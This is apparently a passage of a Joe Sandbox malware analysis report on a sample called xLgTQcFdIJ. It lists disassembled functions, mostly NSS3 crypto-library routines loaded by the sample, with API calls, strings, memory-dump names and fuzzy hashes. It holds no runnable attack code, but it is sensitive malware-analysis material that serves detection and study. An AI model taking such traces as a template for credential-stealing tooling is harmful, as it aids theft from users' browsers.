PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C764EC7

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C764EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C764F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C764F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C764F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C764F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C764F68

Strings

hSession = 0x%x, xrefs: 6C764EA2, 6C764EB2
C_GetAttributeValue, xrefs: 6C764E7E
ulCount = %d, xrefs: 6C764F63
(CK_INVALID_HANDLE), xrefs: 6C764EC0, 6C764F13
pTemplate = 0x%p, xrefs: 6C764F4A
hObject = 0x%x, xrefs: 6C764EF5, 6C764F05

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 29b93cd589dd2e3e539122e790b0e2198a15a45ea64d1f9023cd1b6e9bd375da
Instruction ID: abbde7c2904d09da01bdd89a1955a055c3bf2b4bb1e62d7e017895069cda5704
Opcode Fuzzy Hash: 29b93cd589dd2e3e539122e790b0e2198a15a45ea64d1f9023cd1b6e9bd375da
Instruction Fuzzy Hash: 9B41CF35601108ABDB20CF19DE5CF9A3BB5AB5230DF488835E80897F52D734A918DBE5

Function 6C764CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C764CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C764D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C764D37

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C764D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C764D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C764D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C764DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C764DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C764E20

Strings

pulSize = 0x%p, xrefs: 6C764DB7
hSession = 0x%x, xrefs: 6C764D12, 6C764D22
(CK_INVALID_HANDLE), xrefs: 6C764D30, 6C764D83
C_GetObjectSize, xrefs: 6C764CEE
*pulSize = 0x%x, xrefs: 6C764E1B
hObject = 0x%x, xrefs: 6C764D65, 6C764D75

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 2c74a36bdb18bd598302603fe7a756c7bc2d77d6a56a21518a30120370c30fb0
Instruction ID: 8671ef364e94d51cd1c8b4b18157e035a6877ee5d9f5a47775858ac0bf4ed3e7
Opcode Fuzzy Hash: 2c74a36bdb18bd598302603fe7a756c7bc2d77d6a56a21518a30120370c30fb0
Instruction Fuzzy Hash: 9B41E631A01104AFDB20CF19DF9DB6A37B5EB5630DF448835E908ABF12D734A958EB91

Function 6C767C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C767CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C767CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C767CF3

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C767D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C767D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C767D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C767D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C767D77

Strings

ulDataLen = %d, xrefs: 6C767D40
hSession = 0x%x, xrefs: 6C767CCE, 6C767CDE
pData = 0x%p, xrefs: 6C767D25
(CK_INVALID_HANDLE), xrefs: 6C767CEC
pSignature = 0x%p, xrefs: 6C767D59
ulSignatureLen = %d, xrefs: 6C767D72
C_Verify, xrefs: 6C767CB1

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: ac5532d02e3142e21af0fa4b20899647d15a7866190aae1e99ca67141354914a
Instruction ID: ce90185f722fc5e28991b9ae7545a3b82bd2d1cfc762d2e20f81d0eda351a6f8
Opcode Fuzzy Hash: ac5532d02e3142e21af0fa4b20899647d15a7866190aae1e99ca67141354914a
Instruction Fuzzy Hash: FB31C331601148AFDB209F69DF4DE6A3BF1AB5635DF488834E80857B12DB34A858CBE1

Function 6C7FCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7FCC7B), ref: 6C7FCD7A

Part of subcall function 6C7FCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C76C1A8,?), ref: 6C7FCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7FCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7FCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7FCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7FCD8E

Part of subcall function 6C7205C0: PR_EnterMonitor.NSS3 ref: 6C7205D1
Part of subcall function 6C7205C0: PR_ExitMonitor.NSS3 ref: 6C7205EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7FCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7FCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7FCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7FCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7FCE48

Strings

freeaddrinfo, xrefs: 6C7FCD9F, 6C7FCE10
getnameinfo, xrefs: 6C7FCDB2, 6C7FCE23
ws2_32.dll, xrefs: 6C7FCD75
getaddrinfo, xrefs: 6C7FCD88, 6C7FCDF9
wship6.dll, xrefs: 6C7FCDE3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: b25aff46cff2c3dfb72211fa031010ce021cd8553e2cb5c9088d3014a0381132
Instruction ID: d3a1852d0d744bb8064b95ad4b87a01a607f74139486b70661bc95398cc1c419
Opcode Fuzzy Hash: b25aff46cff2c3dfb72211fa031010ce021cd8553e2cb5c9088d3014a0381132
Instruction Fuzzy Hash: CD11E9A6E1612152DF326A7B2F59DAE385C5F0214EF180934E829D6F01FB25C91AD2F2

Function 6C841C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8413BC,?,?,?,6C841193), ref: 6C841C6B
PR_NewLock.NSS3(?,6C841193), ref: 6C841C7E

Part of subcall function 6C7F98D0: calloc.MOZGLUE(00000001,00000084,6C720936,00000001,?,6C72102C), ref: 6C7F98E5

PR_NewCondVar.NSS3(00000000,?,6C841193), ref: 6C841C91

Part of subcall function 6C71BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7221BC), ref: 6C71BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C841193), ref: 6C841CA7

Part of subcall function 6C71BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C71BBEB
Part of subcall function 6C71BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C71BBFB
Part of subcall function 6C71BB80: GetLastError.KERNEL32 ref: 6C71BC03
Part of subcall function 6C71BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C71BC19
Part of subcall function 6C71BB80: free.MOZGLUE(00000000), ref: 6C71BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C841193), ref: 6C841CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C841193), ref: 6C841CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C841193), ref: 6C841CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C841193), ref: 6C841D1A

Part of subcall function 6C7F9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C721A48), ref: 6C7F9BB3
Part of subcall function 6C7F9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C721A48), ref: 6C7F9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C841193), ref: 6C841D3D

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C841193), ref: 6C841D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C841193), ref: 6C841D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C841193), ref: 6C841D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C841193), ref: 6C841D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C841193), ref: 6C841D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C841193), ref: 6C841D93
PR_DestroyLock.NSS3(00000000,?,?,6C841193), ref: 6C841D9F
free.MOZGLUE(00000000,?,6C841193), ref: 6C841DA8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 25557d8ca974210b060490064515aa17d7aa8486207c615330e43ac1a26dc516
Instruction ID: 59c246add8c65ae1ed4922a5314fd7259c62f5673b1123497a9a25bb6d107060
Opcode Fuzzy Hash: 25557d8ca974210b060490064515aa17d7aa8486207c615330e43ac1a26dc516
Instruction Fuzzy Hash: 3A31D3F1E003055BEB319F25AE49A6776E8AF0564DF044838E84A87F41FB31E518CBA2

Function 6C755E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C755ECF
EnterCriticalSection.KERNEL32(?), ref: 6C755EE3
PR_Unlock.NSS3(?), ref: 6C755F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C755FB5

Strings

S&wl, xrefs: 6C755E6C, 6C75627F, 6C755F12
S&wl, xrefs: 6C7562E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7561F4

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&wl$S&wl
API String ID: 2280678669-3423277215
Opcode ID: 149630ac151087bad7bf5a9f054c0f2b9594a977faba58432528b030f7ea51f0
Instruction ID: 151dc9f7c5e1f69b8e98b71ba0eca9a0aec87f068f4592f01707375d693881df
Opcode Fuzzy Hash: 149630ac151087bad7bf5a9f054c0f2b9594a977faba58432528b030f7ea51f0
Instruction Fuzzy Hash: EBF117B4A002158FDB54CF18C984B96BBF4FF09304F5582AAD8089F746DB75EA94CF91

Function 004119F0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00411A15
ExitProcess.KERNEL32 ref: 00411A21
strtok_s.MSVCRT ref: 00411A38

Strings

block, xrefs: 00411A07

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction ID: 24cedd258c0b2a3a786e48f87e23423129f016670b7ad46fccbec0895e921d59
Opcode Fuzzy Hash: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction Fuzzy Hash: 00513174B0A109DFCB04DF94D984FEE77B9AF44704F10405AE502AB261E778EA91CB5A

Function 6C7A0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,zl), ref: 6C7A0C81

Part of subcall function 6C78BE30: SECOID_FindOID_Util.NSS3(6C74311B,00000000,?,6C74311B,?), ref: 6C78BE44

Part of subcall function 6C778500: SECOID_GetAlgorithmTag_Util.NSS3(6C7795DC,00000000,00000000,00000000,?,6C7795DC,00000000,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C778517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7A0CC4

Part of subcall function 6C78FAB0: free.MOZGLUE(?,-00000001,?,?,6C72F673,00000000,00000000), ref: 6C78FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7A0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C7A0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C7A0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C7A0D7D
free.MOZGLUE(00000000), ref: 6C7A0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7A0DC1
free.MOZGLUE(00000000), ref: 6C7A0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7A0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7A0E0F

Part of subcall function 6C7795C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C7795E0
Part of subcall function 6C7795C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C7795F5
Part of subcall function 6C7795C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C779609
Part of subcall function 6C7795C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C77961D
Part of subcall function 6C7795C0: PK11_GetInternalSlot.NSS3 ref: 6C77970B
Part of subcall function 6C7795C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C779756
Part of subcall function 6C7795C0: PK11_GetIVLength.NSS3(?), ref: 6C779767
Part of subcall function 6C7795C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C77977E
Part of subcall function 6C7795C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C77978E

Strings

*,zl, xrefs: 6C7A0C69, 6C7A0DE0, 6C7A0C80, 6C7A0C8B, 6C7A0CAF
-$zl, xrefs: 6C7A0C64
*,zl, xrefs: 6C7A0DCC

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,zl$*,zl$-$zl
API String ID: 3136566230-1938322494
Opcode ID: 0941f2957d1b006cf9bf59a30850e8a49ea40fa00e01a1b422c7dc1b9dd9c969
Instruction ID: 61db77e564c4fbce56163ac30635276e9d6221e43b1abe463589edde9c9afad0
Opcode Fuzzy Hash: 0941f2957d1b006cf9bf59a30850e8a49ea40fa00e01a1b422c7dc1b9dd9c969
Instruction Fuzzy Hash: 0B41F6B2901245ABEB009FA5DE4ABEF7674BF0530CF100534ED1667B41E735AA19CBE2

Function 6C795CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C795EC0,00000000,?,?), ref: 6C795CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C795CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C795CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C795D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C795EC0,00000000,?,?), ref: 6C795D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C795D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C795D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C795D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C795D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C795D1A
extern:, xrefs: 6C795CEA, 6C795D4B
sql:, xrefs: 6C795CD1, 6C795D36
dbm:, xrefs: 6C795D03, 6C795D60
multiaccess:, xrefs: 6C795CB8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: d65a36484de3aee4a6bc4312c9d0cb7c931fed80ef0b018b448bd6515938918a
Instruction ID: d6fea2a5a0994091d155195177bd9299495b756942a98f973e31da4ff368f9ee
Opcode Fuzzy Hash: d65a36484de3aee4a6bc4312c9d0cb7c931fed80ef0b018b448bd6515938918a
Instruction Fuzzy Hash: A23128A07023216BF7A11A28FECEB1A3768AF0324EF100630ED55B6B92F775D511C6E1

Function 6C796CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C861DE0,?), ref: 6C796CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C796D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C796D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C796D82
DER_GetInteger_Util.NSS3(?), ref: 6C796DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C796DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C796E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C796F19
PK11_DigestBegin.NSS3(00000000), ref: 6C796F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C796F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C797011
PK11_FreeSymKey.NSS3(00000000), ref: 6C797033
free.MOZGLUE(?), ref: 6C79703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C797060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C797087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7970AF

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: dd0fd28c04f19771026815c9510e141bb4b2b39618765f991d420e348b0ebb50
Instruction ID: 915a99ab54f6411f98ee110db296e928cb425120eed517ae17d631de3c166e78
Opcode Fuzzy Hash: dd0fd28c04f19771026815c9510e141bb4b2b39618765f991d420e348b0ebb50
Instruction Fuzzy Hash: AFA12B715052009BEB409F24EF49B5B32A5EB8130CF248B39E919CBB91E735DA55C7D3

Function 6C752C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?ul,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752C62
EnterCriticalSection.KERNEL32(0000001C,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752C76
PL_HashTableLookup.NSS3(00000000,?,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752C86
